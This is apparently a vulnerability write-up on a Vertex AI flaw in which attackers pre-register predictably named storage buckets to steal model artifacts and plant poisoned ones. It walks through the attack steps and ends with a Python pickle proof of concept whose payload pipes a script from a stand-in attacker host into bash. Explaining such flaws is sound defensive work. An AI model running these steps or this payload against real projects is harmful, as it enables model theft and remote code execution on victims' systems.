CVE-2026-2473: GCP Vertex AI Bucket Squatting Enables Cross-Tenant RCE and Model Theft (CVSS 9.8)

Technical Deep-Dive: The Bucket Squatting Attack

Root Cause: CWE-340 — Predictable Identifiers

When you initialise a Vertex AI Experiment, the SDK automatically creates a Cloud Storage bucket to store experiment artifacts: model checkpoints, evaluation metrics, TensorBoard logs, and serialised model objects. The bucket name was generated using a deterministic formula based on your GCP project ID and region — two values that are rarely secret.

In Google Cloud Storage, bucket names are globally unique. This means that if an attacker registers a bucket with your predicted name in their own GCP project before you run your first experiment, your Vertex AI SDK will find the bucket already exists, assume it's yours, and start writing to it. No authentication check. No ownership verification. Just a name lookup.

Attack Chain: Step by Step

1. Target reconnaissance: Identify the victim's GCP project ID. This is often exposed in public GitHub repositories (GKE configs, Terraform state files, `gcloud` command history), GCP metadata endpoints on misconfigured compute instances, or simply the GCP Resource Manager API which lists projects for accounts with domain-wide delegation.
2. Predict the bucket name: Using the known naming formula for Vertex AI Experiments, compute the exact bucket name the victim's SDK will attempt to create. The pattern followed the format {project-id}-aiplatform-{region}-experiments with minor variations documented in the SDK source code.
3. Squat the bucket: Register that exact bucket name in your own free-tier GCP account. This costs nothing and takes seconds. GCS bucket registration is instantaneous and globally propagated.
4. Wait: When the victim next runs a Vertex AI Experiment, their SDK calls the GCS API to create its bucket — receives a "bucket already exists" response — and assumes the bucket is legitimately theirs. The SDK proceeds to write all experiment artifacts into the attacker-controlled bucket.
5. Harvest and poison: The attacker now has bidirectional access. Read paths exfiltrate the victim's model weights, training data, and hyperparameters. Write paths allow injecting poisoned model artifacts back into the bucket, which the victim's inference pipeline will load — and execute — during model serving.

Remote Code Execution via Pickle Deserialization

The most severe exploitation path flows through Python's pickle serialisation format, which Vertex AI and most ML frameworks use for saving model objects. A pickle file is not a static data format — it is executable bytecode. When your inference code calls pickle.load() on an attacker-controlled file, that file's embedded __reduce__ method executes arbitrary Python code in the context of your serving process.

# Example: what a poisoned pickle looks like
import pickle, os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl https://attacker.com/shell.sh | bash',))

# Attacker writes this to the squatted bucket as model.pkl
with open('model.pkl', 'wb') as f:
    pickle.dump(Exploit(), f)

When the victim's serving code calls model = pickle.load(open('model.pkl', 'rb')), the reverse shell executes. No CVE in the serving framework required — this is Python by design, weaponised by controlling the source file.